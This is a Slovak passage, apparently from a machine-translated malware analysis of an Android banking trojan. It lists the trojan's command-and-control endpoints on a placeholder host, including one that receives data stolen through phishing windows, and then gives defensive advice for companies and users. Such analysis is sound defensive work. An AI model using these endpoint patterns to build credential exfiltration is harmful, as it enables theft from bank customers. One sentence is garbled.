  • http://<%CnC%>/api/v1/records.php – nahrávanie údajov získaných prostredníctvom phishingových okien.
  • http://<%CnC%>/api/v1/set_error.php – oznámenie o chybe, ktorá sa vyskytla.

Odporúčanie

Aby spoločnosti ochránili svojich zákazníkov pred hrozbou mobilných trójskych koní, musia používať komplexné riešenia, ktoré im umožnia sledovať a predchádzať škodlivej činnosti bez inštalácie dodatočného softvéru na používateľské zariadenia.

Aby to bolo možné, je potrebné, aby sa podpisové metódy na detekciu mobilných trójskych koní posilnili technológiami na analýzu správania klienta aj samotnej aplikácie. Súčasťou ochrany má byť aj funkcia identifikácie zariadenia pomocou technológie digitálnych odtlačkov prstov, ktorá umožní pochopiť, kedy je účet využívaný z atypického zariadenia a už sa dostal do rúk podvodníka.

Zásadne dôležitým bodom je dostupnosť medzikanálovej analýzy, ktorá umožňuje spoločnostiam kontrolovať riziká vznikajúce nielen na internete, ale aj na mobilnom kanáli, napríklad v aplikáciách pre mobilné bankovníctvo, pri transakciách s kryptomenami a iných, kde transakcie môžu byť uskutočnené.finančná transakcia.

Bezpečnostné pravidlá pre používateľov:

  • neinštalujte aplikácie pre mobilné zariadenie s OS Android z iných zdrojov ako Google Play, venujte zvláštnu pozornosť právam, ktoré aplikácia požaduje;
  • pravidelne inštalovať aktualizácie operačného systému Android;
  • dávajte pozor na prípony stiahnutých súborov;
  • nenavštevujte podozrivé zdroje;
  • Neklikajte na odkazy prijaté v SMS správach.

V hlavnej úlohe Semjon Rogačeva, junior špecialista na výskum malvéru v Group-IB Computer Forensics Laboratory.

Zdroj: hab.com

Pridať komentár